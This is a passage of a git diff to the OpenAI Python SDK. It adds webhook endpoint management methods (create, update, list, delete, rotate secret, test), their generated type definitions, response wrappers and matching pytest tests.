+ path_template("/webhook_endpoints/{webhook_endpoint_id}/test", webhook_endpoint_id=webhook_endpoint_id),
+ body=await async_maybe_transform({"event_type": event_type}, webhook_test_params.WebhookTestParams),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=WebhookEndpointTestResult,
+ )
+
def unwrap(
self,
payload: str | bytes,
@@ -118,3 +966,127 @@ def verify_signature(
if not _webhook_signature_matches(payload, headers, secret=secret, tolerance=tolerance):
raise InvalidWebhookSignatureError("The given webhook signature does not match the expected signature")
+
+
+class WebhooksWithRawResponse:
+ def __init__(self, webhooks: Webhooks) -> None:
+ self._webhooks = webhooks
+
+ self.create = _legacy_response.to_raw_response_wrapper(
+ webhooks.create,
+ )
+ self.retrieve = _legacy_response.to_raw_response_wrapper(
+ webhooks.retrieve,
+ )
+ self.update = _legacy_response.to_raw_response_wrapper(
+ webhooks.update,
+ )
+ self.list = _legacy_response.to_raw_response_wrapper(
+ webhooks.list,
+ )
+ self.delete = _legacy_response.to_raw_response_wrapper(
+ webhooks.delete,
+ )
+ self.rotate_secret = _legacy_response.to_raw_response_wrapper(
+ webhooks.rotate_secret,
+ )
+ self.test = _legacy_response.to_raw_response_wrapper(
+ webhooks.test,
+ )
+
+ @cached_property
+ def event_types(self) -> EventTypesWithRawResponse:
+ return EventTypesWithRawResponse(self._webhooks.event_types)
+
+
+class AsyncWebhooksWithRawResponse:
+ def __init__(self, webhooks: AsyncWebhooks) -> None:
+ self._webhooks = webhooks
+
+ self.create = _legacy_response.async_to_raw_response_wrapper(
+ webhooks.create,
+ )
+ self.retrieve = _legacy_response.async_to_raw_response_wrapper(
+ webhooks.retrieve,
+ )
+ self.update = _legacy_response.async_to_raw_response_wrapper(
+ webhooks.update,
+ )
+ self.list = _legacy_response.async_to_raw_response_wrapper(
+ webhooks.list,
+ )
+ self.delete = _legacy_response.async_to_raw_response_wrapper(
+ webhooks.delete,
+ )
+ self.rotate_secret = _legacy_response.async_to_raw_response_wrapper(
+ webhooks.rotate_secret,
+ )
+ self.test = _legacy_response.async_to_raw_response_wrapper(
+ webhooks.test,
+ )
+
+ @cached_property
+ def event_types(self) -> AsyncEventTypesWithRawResponse:
+ return AsyncEventTypesWithRawResponse(self._webhooks.event_types)
+
+
+class WebhooksWithStreamingResponse:
+ def __init__(self, webhooks: Webhooks) -> None:
+ self._webhooks = webhooks
+
+ self.create = to_streamed_response_wrapper(
+ webhooks.create,
+ )
+ self.retrieve = to_streamed_response_wrapper(
+ webhooks.retrieve,
+ )
+ self.update = to_streamed_response_wrapper(
+ webhooks.update,
+ )
+ self.list = to_streamed_response_wrapper(
+ webhooks.list,
+ )
+ self.delete = to_streamed_response_wrapper(
+ webhooks.delete,
+ )
+ self.rotate_secret = to_streamed_response_wrapper(
+ webhooks.rotate_secret,
+ )
+ self.test = to_streamed_response_wrapper(
+ webhooks.test,
+ )
+
+ @cached_property
+ def event_types(self) -> EventTypesWithStreamingResponse:
+ return EventTypesWithStreamingResponse(self._webhooks.event_types)
+
+
+class AsyncWebhooksWithStreamingResponse:
+ def __init__(self, webhooks: AsyncWebhooks) -> None:
+ self._webhooks = webhooks
+
+ self.create = async_to_streamed_response_wrapper(
+ webhooks.create,
+ )
+ self.retrieve = async_to_streamed_response_wrapper(
+ webhooks.retrieve,
+ )
+ self.update = async_to_streamed_response_wrapper(
+ webhooks.update,
+ )
+ self.list = async_to_streamed_response_wrapper(
+ webhooks.list,
+ )
+ self.delete = async_to_streamed_response_wrapper(
+ webhooks.delete,
+ )
+ self.rotate_secret = async_to_streamed_response_wrapper(
+ webhooks.rotate_secret,
+ )
+ self.test = async_to_streamed_response_wrapper(
+ webhooks.test,
+ )
+
+ @cached_property
+ def event_types(self) -> AsyncEventTypesWithStreamingResponse:
+ return AsyncEventTypesWithStreamingResponse(self._webhooks.event_types)
diff --git a/src/openai/types/webhooks/__init__.py b/src/openai/types/webhooks/__init__.py
index 56645462d6..3e33cba52c 100644
--- a/src/openai/types/webhooks/__init__.py
+++ b/src/openai/types/webhooks/__init__.py
@@ -2,9 +2,20 @@
from __future__ import annotations
+from .webhook_endpoint import WebhookEndpoint as WebhookEndpoint
+from .webhook_list_params import WebhookListParams as WebhookListParams
+from .webhook_test_params import WebhookTestParams as WebhookTestParams
from .unwrap_webhook_event import UnwrapWebhookEvent as UnwrapWebhookEvent
+from .webhook_create_params import WebhookCreateParams as WebhookCreateParams
+from .webhook_endpoint_list import WebhookEndpointList as WebhookEndpointList
+from .webhook_update_params import WebhookUpdateParams as WebhookUpdateParams
+from .webhook_event_type_list import WebhookEventTypeList as WebhookEventTypeList
+from .deleted_webhook_endpoint import DeletedWebhookEndpoint as DeletedWebhookEndpoint
from .batch_failed_webhook_event import BatchFailedWebhookEvent as BatchFailedWebhookEvent
from .batch_expired_webhook_event import BatchExpiredWebhookEvent as BatchExpiredWebhookEvent
+from .webhook_endpoint_test_result import WebhookEndpointTestResult as WebhookEndpointTestResult
+from .webhook_endpoint_with_secret import WebhookEndpointWithSecret as WebhookEndpointWithSecret
+from .webhook_rotate_secret_params import WebhookRotateSecretParams as WebhookRotateSecretParams
from .batch_cancelled_webhook_event import BatchCancelledWebhookEvent as BatchCancelledWebhookEvent
from .batch_completed_webhook_event import BatchCompletedWebhookEvent as BatchCompletedWebhookEvent
from .eval_run_failed_webhook_event import EvalRunFailedWebhookEvent as EvalRunFailedWebhookEvent
diff --git a/src/openai/types/webhooks/deleted_webhook_endpoint.py b/src/openai/types/webhooks/deleted_webhook_endpoint.py
new file mode 100644
index 0000000000..9ee6182825
--- /dev/null
+++ b/src/openai/types/webhooks/deleted_webhook_endpoint.py
@@ -0,0 +1,18 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["DeletedWebhookEndpoint"]
+
+
+class DeletedWebhookEndpoint(BaseModel):
+ id: str
+ """The ID of the deleted webhook endpoint."""
+
+ deleted: bool
+ """Whether the endpoint was deleted."""
+
+ object: Literal["webhook_endpoint.deleted"]
+ """The object type, which is always webhook_endpoint.deleted."""
diff --git a/src/openai/types/webhooks/webhook_create_params.py b/src/openai/types/webhooks/webhook_create_params.py
new file mode 100644
index 0000000000..39faf04fb8
--- /dev/null
+++ b/src/openai/types/webhooks/webhook_create_params.py
@@ -0,0 +1,42 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import List
+from typing_extensions import Literal, Required, TypedDict
+
+__all__ = ["WebhookCreateParams"]
+
+
+class WebhookCreateParams(TypedDict, total=False):
+ event_types: Required[
+ List[
+ Literal[
+ "batch.completed",
+ "batch.failed",
+ "batch.expired",
+ "batch.cancelled",
+ "response.completed",
+ "response.failed",
+ "response.cancelled",
+ "response.incomplete",
+ "eval.run.succeeded",
+ "eval.run.failed",
+ "eval.run.canceled",
+ "fine_tuning.job.succeeded",
+ "fine_tuning.job.failed",
+ "fine_tuning.job.cancelled",
+ "realtime.call.incoming",
+ "video.completed",
+ "video.failed",
+ "safety.alert.created",
+ ]
+ ]
+ ]
+ """The event types that trigger deliveries to this endpoint."""
+
+ name: Required[str]
+ """A human-readable name for the webhook endpoint."""
+
+ url: Required[str]
+ """The HTTPS URL that receives webhook deliveries."""
diff --git a/src/openai/types/webhooks/webhook_endpoint.py b/src/openai/types/webhooks/webhook_endpoint.py
new file mode 100644
index 0000000000..5e3d64825d
--- /dev/null
+++ b/src/openai/types/webhooks/webhook_endpoint.py
@@ -0,0 +1,37 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["WebhookEndpoint"]
+
+
+class WebhookEndpoint(BaseModel):
+ id: str
+ """The unique ID of the webhook endpoint."""
+
+ created_at: int
+ """The Unix timestamp when the endpoint was created."""
+
+ event_types: List[str]
+ """The event types that trigger deliveries to this endpoint."""
+
+ name: str
+ """The human-readable name of the endpoint."""
+
+ object: Literal["webhook_endpoint"]
+ """The object type, which is always webhook_endpoint."""
+
+ signing_secret_hint: Optional[str] = None
+ """A masked hint for the endpoint's signing secret."""
+
+ url: str
+ """The HTTPS URL that receives webhook deliveries."""
+
+ updated_at: Optional[int] = None
+ """The Unix timestamp of the last endpoint configuration or signing-secret change.
+
+ Initialized at creation; tests and unchanged updates do not advance it.
+ """
diff --git a/src/openai/types/webhooks/webhook_endpoint_list.py b/src/openai/types/webhooks/webhook_endpoint_list.py
new file mode 100644
index 0000000000..3c9ce04d78
--- /dev/null
+++ b/src/openai/types/webhooks/webhook_endpoint_list.py
@@ -0,0 +1,26 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .webhook_endpoint import WebhookEndpoint
+
+__all__ = ["WebhookEndpointList"]
+
+
+class WebhookEndpointList(BaseModel):
+ data: List[WebhookEndpoint]
+ """The webhook endpoints in this page."""
+
+ first_id: Optional[str] = None
+ """The ID of the first endpoint in this page."""
+
+ has_more: bool
+ """Whether more webhook endpoints are available."""
+
+ last_id: Optional[str] = None
+ """The ID of the last endpoint in this page."""
+
+ object: Literal["list"]
+ """The object type, which is always list."""
diff --git a/src/openai/types/webhooks/webhook_endpoint_test_result.py b/src/openai/types/webhooks/webhook_endpoint_test_result.py
new file mode 100644
index 0000000000..3d7aaa4ac9
--- /dev/null
+++ b/src/openai/types/webhooks/webhook_endpoint_test_result.py
@@ -0,0 +1,28 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["WebhookEndpointTestResult"]
+
+
+class WebhookEndpointTestResult(BaseModel):
+ event_type: str
+ """The event type sent in the test."""
+
+ object: Literal["webhook_endpoint.test"]
+ """The object type, which is always webhook_endpoint.test."""
+
+ status_code: int
+ """The HTTP status code returned by the endpoint."""
+
+ success: Literal[True]
+ """Whether the test request completed.
+
+ Always true for returned results; use status_code to determine the endpoint
+ response.
+ """
+
+ webhook_endpoint_id: str
+ """The ID of the webhook endpoint that received the test."""
diff --git a/src/openai/types/webhooks/webhook_endpoint_with_secret.py b/src/openai/types/webhooks/webhook_endpoint_with_secret.py
new file mode 100644
index 0000000000..9cfe5b11d3
--- /dev/null
+++ b/src/openai/types/webhooks/webhook_endpoint_with_secret.py
@@ -0,0 +1,45 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Optional
+from typing_extensions import Literal
+
+from pydantic import Field
+
+from ..._models import BaseModel
+
+__all__ = ["WebhookEndpointWithSecret"]
+
+
+class WebhookEndpointWithSecret(BaseModel):
+ id: str
+ """The unique ID of the webhook endpoint."""
+
+ created_at: int
+ """The Unix timestamp when the endpoint was created."""
+
+ event_types: List[str]
+ """The event types that trigger deliveries to this endpoint."""
+
+ name: str
+ """The human-readable name of the endpoint."""
+
+ object: Literal["webhook_endpoint"]
+ """The object type, which is always webhook_endpoint."""
+
+ signing_secret: str = Field(repr=False)
+ """The endpoint's signing secret.
+
+ This is returned only when the endpoint is created or the secret is rotated.
+ """
+
+ signing_secret_hint: Optional[str] = None
+ """A masked hint for the endpoint's signing secret."""
+
+ url: str
+ """The HTTPS URL that receives webhook deliveries."""
+
+ updated_at: Optional[int] = None
+ """The Unix timestamp of the last endpoint configuration or signing-secret change.
+
+ Initialized at creation; tests and unchanged updates do not advance it.
+ """
diff --git a/src/openai/types/webhooks/webhook_event_type_list.py b/src/openai/types/webhooks/webhook_event_type_list.py
new file mode 100644
index 0000000000..a9065de432
--- /dev/null
+++ b/src/openai/types/webhooks/webhook_event_type_list.py
@@ -0,0 +1,16 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["WebhookEventTypeList"]
+
+
+class WebhookEventTypeList(BaseModel):
+ data: List[str]
+ """The webhook event types available to the authenticated project."""
+
+ object: Literal["list"]
+ """The object type, which is always list."""
diff --git a/src/openai/types/webhooks/webhook_list_params.py b/src/openai/types/webhooks/webhook_list_params.py
new file mode 100644
index 0000000000..441b29aa93
--- /dev/null
+++ b/src/openai/types/webhooks/webhook_list_params.py
@@ -0,0 +1,16 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import TypedDict
+
+__all__ = ["WebhookListParams"]
+
+
+class WebhookListParams(TypedDict, total=False):
+ after: Optional[str]
+ """ID of the last webhook endpoint from the previous page."""
+
+ limit: int
+ """Maximum number of webhook endpoints to return. Defaults to 20."""
diff --git a/src/openai/types/webhooks/webhook_rotate_secret_params.py b/src/openai/types/webhooks/webhook_rotate_secret_params.py
new file mode 100644
index 0000000000..01cd5b6860
--- /dev/null
+++ b/src/openai/types/webhooks/webhook_rotate_secret_params.py
@@ -0,0 +1,15 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import TypedDict
+
+__all__ = ["WebhookRotateSecretParams"]
+
+
+class WebhookRotateSecretParams(TypedDict, total=False):
+ keep_old_secret_active_for_24_hours: bool
+ """Whether to keep the previous signing secret valid for 24 hours after rotation.
+
+ Defaults to false, which invalidates the previous secret immediately.
+ """
diff --git a/src/openai/types/webhooks/webhook_test_params.py b/src/openai/types/webhooks/webhook_test_params.py
new file mode 100644
index 0000000000..2b41c12762
--- /dev/null
+++ b/src/openai/types/webhooks/webhook_test_params.py
@@ -0,0 +1,33 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Literal, Required, TypedDict
+
+__all__ = ["WebhookTestParams"]
+
+
+class WebhookTestParams(TypedDict, total=False):
+ event_type: Required[
+ Literal[
+ "batch.completed",
+ "batch.failed",
+ "batch.expired",
+ "batch.cancelled",
+ "response.completed",
+ "response.failed",
+ "response.cancelled",
+ "response.incomplete",
+ "eval.run.succeeded",
+ "eval.run.failed",
+ "eval.run.canceled",
+ "fine_tuning.job.succeeded",
+ "fine_tuning.job.failed",
+ "fine_tuning.job.cancelled",
+ "realtime.call.incoming",
+ "video.completed",
+ "video.failed",
+ "safety.alert.created",
+ ]
+ ]
+ """The event type to send as a sample delivery."""
diff --git a/src/openai/types/webhooks/webhook_update_params.py b/src/openai/types/webhooks/webhook_update_params.py
new file mode 100644
index 0000000000..ceafbaf8b8
--- /dev/null
+++ b/src/openai/types/webhooks/webhook_update_params.py
@@ -0,0 +1,40 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import List
+from typing_extensions import Literal, TypedDict
+
+__all__ = ["WebhookUpdateParams"]
+
+
+class WebhookUpdateParams(TypedDict, total=False):
+ event_types: List[
+ Literal[
+ "batch.completed",
+ "batch.failed",
+ "batch.expired",
+ "batch.cancelled",
+ "response.completed",
+ "response.failed",
+ "response.cancelled",
+ "response.incomplete",
+ "eval.run.succeeded",
+ "eval.run.failed",
+ "eval.run.canceled",
+ "fine_tuning.job.succeeded",
+ "fine_tuning.job.failed",
+ "fine_tuning.job.cancelled",
+ "realtime.call.incoming",
+ "video.completed",
+ "video.failed",
+ "safety.alert.created",
+ ]
+ ]
+ """The complete set of event types that should trigger deliveries."""
+
+ name: str
+ """A new human-readable name for the webhook endpoint."""
+
+ url: str
+ """A new HTTPS URL that receives webhook deliveries."""
diff --git a/tests/api_resources/test_webhooks.py b/tests/api_resources/test_webhooks.py
index c2f45e64c3..b6b6a60d39 100644
--- a/tests/api_resources/test_webhooks.py
+++ b/tests/api_resources/test_webhooks.py
@@ -3,17 +3,592 @@
from __future__ import annotations
import os
+from typing import Any, cast
import pytest
+from openai import OpenAI, AsyncOpenAI
+from tests.utils import assert_matches_type
+from openai.pagination import SyncCursorPage, AsyncCursorPage
+from openai.types.webhooks import (
+ WebhookEndpoint,
+ DeletedWebhookEndpoint,
+ WebhookEndpointTestResult,
+ WebhookEndpointWithSecret,
+)
+
base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
class TestWebhooks:
parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+ @parametrize
+ def test_method_create(self, client: OpenAI) -> None:
+ webhook = client.webhooks.create(
+ event_types=["batch.completed"],
+ name="x",
+ url="https://",
+ )
+ assert_matches_type(WebhookEndpointWithSecret, webhook, path=["response"])
+
+ @parametrize
+ def test_raw_response_create(self, client: OpenAI) -> None:
+ response = client.webhooks.with_raw_response.create(
+ event_types=["batch.completed"],
+ name="x",
+ url="https://",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ webhook = response.parse()
+ assert_matches_type(WebhookEndpointWithSecret, webhook, path=["response"])
+
+ @parametrize
+ def test_streaming_response_create(self, client: OpenAI) -> None:
+ with client.webhooks.with_streaming_response.create(
+ event_types=["batch.completed"],
+ name="x",
+ url="https://",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ webhook = response.parse()
+ assert_matches_type(WebhookEndpointWithSecret, webhook, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_method_retrieve(self, client: OpenAI) -> None:
+ webhook = client.webhooks.retrieve(
+ "whe_123",
+ )
+ assert_matches_type(WebhookEndpoint, webhook, path=["response"])
+
+ @parametrize
+ def test_raw_response_retrieve(self, client: OpenAI) -> None:
+ response = client.webhooks.with_raw_response.retrieve(
+ "whe_123",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ webhook = response.parse()
+ assert_matches_type(WebhookEndpoint, webhook, path=["response"])
+
+ @parametrize
+ def test_streaming_response_retrieve(self, client: OpenAI) -> None:
+ with client.webhooks.with_streaming_response.retrieve(
+ "whe_123",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ webhook = response.parse()
+ assert_matches_type(WebhookEndpoint, webhook, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_retrieve(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `webhook_endpoint_id` but received ''"):
+ client.webhooks.with_raw_response.retrieve(
+ "",
+ )
+
+ @parametrize
+ def test_method_update(self, client: OpenAI) -> None:
+ webhook = client.webhooks.update(
+ webhook_endpoint_id="whe_123",
+ )
+ assert_matches_type(WebhookEndpoint, webhook, path=["response"])
+
+ @parametrize
+ def test_method_update_with_all_params(self, client: OpenAI) -> None:
+ webhook = client.webhooks.update(
+ webhook_endpoint_id="whe_123",
+ event_types=["batch.completed"],
+ name="x",
+ url="https://",
+ )
+ assert_matches_type(WebhookEndpoint, webhook, path=["response"])
+
+ @parametrize
+ def test_raw_response_update(self, client: OpenAI) -> None:
+ response = client.webhooks.with_raw_response.update(
+ webhook_endpoint_id="whe_123",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ webhook = response.parse()
+ assert_matches_type(WebhookEndpoint, webhook, path=["response"])
+
+ @parametrize
+ def test_streaming_response_update(self, client: OpenAI) -> None:
+ with client.webhooks.with_streaming_response.update(
+ webhook_endpoint_id="whe_123",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ webhook = response.parse()
+ assert_matches_type(WebhookEndpoint, webhook, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_update(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `webhook_endpoint_id` but received ''"):
+ client.webhooks.with_raw_response.update(
+ webhook_endpoint_id="",
+ )
+
+ @parametrize
+ def test_method_list(self, client: OpenAI) -> None:
+ webhook = client.webhooks.list()
+ assert_matches_type(SyncCursorPage[WebhookEndpoint], webhook, path=["response"])
+
+ @parametrize
+ def test_method_list_with_all_params(self, client: OpenAI) -> None:
+ webhook = client.webhooks.list(
+ after="whe_123",
+ limit=1,
+ )
+ assert_matches_type(SyncCursorPage[WebhookEndpoint], webhook, path=["response"])
+
+ @parametrize
+ def test_raw_response_list(self, client: OpenAI) -> None:
+ response = client.webhooks.with_raw_response.list()
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ webhook = response.parse()
+ assert_matches_type(SyncCursorPage[WebhookEndpoint], webhook, path=["response"])
+
+ @parametrize
+ def test_streaming_response_list(self, client: OpenAI) -> None:
+ with client.webhooks.with_streaming_response.list() as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ webhook = response.parse()
+ assert_matches_type(SyncCursorPage[WebhookEndpoint], webhook, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_method_delete(self, client: OpenAI) -> None:
+ webhook = client.webhooks.delete(
+ "whe_123",
+ )
+ assert_matches_type(DeletedWebhookEndpoint, webhook, path=["response"])
+
+ @parametrize
+ def test_raw_response_delete(self, client: OpenAI) -> None:
+ response = client.webhooks.with_raw_response.delete(
+ "whe_123",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ webhook = response.parse()
+ assert_matches_type(DeletedWebhookEndpoint, webhook, path=["response"])
+
+ @parametrize
+ def test_streaming_response_delete(self, client: OpenAI) -> None:
+ with client.webhooks.with_streaming_response.delete(
+ "whe_123",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ webhook = response.parse()
+ assert_matches_type(DeletedWebhookEndpoint, webhook, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_delete(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `webhook_endpoint_id` but received ''"):
+ client.webhooks.with_raw_response.delete(
+ "",
+ )
+
+ @parametrize
+ def test_method_rotate_secret(self, client: OpenAI) -> None:
+ webhook = client.webhooks.rotate_secret(
+ webhook_endpoint_id="whe_123",
+ )
+ assert_matches_type(WebhookEndpointWithSecret, webhook, path=["response"])
+
+ @parametrize
+ def test_method_rotate_secret_with_all_params(self, client: OpenAI) -> None:
+ webhook = client.webhooks.rotate_secret(
+ webhook_endpoint_id="whe_123",
+ keep_old_secret_active_for_24_hours=True,
+ )
+ assert_matches_type(WebhookEndpointWithSecret, webhook, path=["response"])
+
+ @parametrize
+ def test_raw_response_rotate_secret(self, client: OpenAI) -> None:
+ response = client.webhooks.with_raw_response.rotate_secret(
+ webhook_endpoint_id="whe_123",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ webhook = response.parse()
+ assert_matches_type(WebhookEndpointWithSecret, webhook, path=["response"])
+
+ @parametrize
+ def test_streaming_response_rotate_secret(self, client: OpenAI) -> None:
+ with client.webhooks.with_streaming_response.rotate_secret(
+ webhook_endpoint_id="whe_123",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ webhook = response.parse()
+ assert_matches_type(WebhookEndpointWithSecret, webhook, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_rotate_secret(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `webhook_endpoint_id` but received ''"):
+ client.webhooks.with_raw_response.rotate_secret(
+ webhook_endpoint_id="",
+ )
+
+ @parametrize
+ def test_method_test(self, client: OpenAI) -> None:
+ webhook = client.webhooks.test(
+ webhook_endpoint_id="whe_123",
+ event_type="batch.completed",
+ )
+ assert_matches_type(WebhookEndpointTestResult, webhook, path=["response"])
+
+ @parametrize
+ def test_raw_response_test(self, client: OpenAI) -> None:
+ response = client.webhooks.with_raw_response.test(
+ webhook_endpoint_id="whe_123",
+ event_type="batch.completed",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ webhook = response.parse()
+ assert_matches_type(WebhookEndpointTestResult, webhook, path=["response"])
+
+ @parametrize
+ def test_streaming_response_test(self, client: OpenAI) -> None:
+ with client.webhooks.with_streaming_response.test(
+ webhook_endpoint_id="whe_123",
+ event_type="batch.completed",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ webhook = response.parse()
+ assert_matches_type(WebhookEndpointTestResult, webhook, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_test(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `webhook_endpoint_id` but received ''"):
+ client.webhooks.with_raw_response.test(
+ webhook_endpoint_id="",
+ event_type="batch.completed",
+ )
+
class TestAsyncWebhooks:
parametrize = pytest.mark.parametrize(
"async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
)
+
+ @parametrize
+ async def test_method_create(self, async_client: AsyncOpenAI) -> None:
+ webhook = await async_client.webhooks.create(
+ event_types=["batch.completed"],
+ name="x",
+ url="https://",
+ )
+ assert_matches_type(WebhookEndpointWithSecret, webhook, path=["response"])
+
+ @parametrize
+ async def test_raw_response_create(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.webhooks.with_raw_response.create(
+ event_types=["batch.completed"],
+ name="x",
+ url="https://",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ webhook = response.parse()
+ assert_matches_type(WebhookEndpointWithSecret, webhook, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_create(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.webhooks.with_streaming_response.create(
+ event_types=["batch.completed"],
+ name="x",
+ url="https://",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ webhook = await response.parse()
+ assert_matches_type(WebhookEndpointWithSecret, webhook, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_method_retrieve(self, async_client: AsyncOpenAI) -> None:
+ webhook = await async_client.webhooks.retrieve(
+ "whe_123",
+ )
+ assert_matches_type(WebhookEndpoint, webhook, path=["response"])
+
+ @parametrize
+ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.webhooks.with_raw_response.retrieve(
+ "whe_123",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ webhook = response.parse()
+ assert_matches_type(WebhookEndpoint, webhook, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.webhooks.with_streaming_response.retrieve(
+ "whe_123",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ webhook = await response.parse()
+ assert_matches_type(WebhookEndpoint, webhook, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_retrieve(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `webhook_endpoint_id` but received ''"):
+ await async_client.webhooks.with_raw_response.retrieve(
+ "",
+ )
+
+ @parametrize
+ async def test_method_update(self, async_client: AsyncOpenAI) -> None:
+ webhook = await async_client.webhooks.update(
+ webhook_endpoint_id="whe_123",
+ )
+ assert_matches_type(WebhookEndpoint, webhook, path=["response"])
+
+ @parametrize
+ async def test_method_update_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ webhook = await async_client.webhooks.update(
+ webhook_endpoint_id="whe_123",
+ event_types=["batch.completed"],
+ name="x",
+ url="https://",
+ )
+ assert_matches_type(WebhookEndpoint, webhook, path=["response"])
+
+ @parametrize
+ async def test_raw_response_update(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.webhooks.with_raw_response.update(
+ webhook_endpoint_id="whe_123",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ webhook = response.parse()
+ assert_matches_type(WebhookEndpoint, webhook, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_update(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.webhooks.with_streaming_response.update(
+ webhook_endpoint_id="whe_123",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ webhook = await response.parse()
+ assert_matches_type(WebhookEndpoint, webhook, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_update(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `webhook_endpoint_id` but received ''"):
+ await async_client.webhooks.with_raw_response.update(
+ webhook_endpoint_id="",
+ )
+
+ @parametrize
+ async def test_method_list(self, async_client: AsyncOpenAI) -> None:
+ webhook = await async_client.webhooks.list()
+ assert_matches_type(AsyncCursorPage[WebhookEndpoint], webhook, path=["response"])
+
+ @parametrize
+ async def test_method_list_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ webhook = await async_client.webhooks.list(
+ after="whe_123",
+ limit=1,
+ )
+ assert_matches_type(AsyncCursorPage[WebhookEndpoint], webhook, path=["response"])
+
+ @parametrize
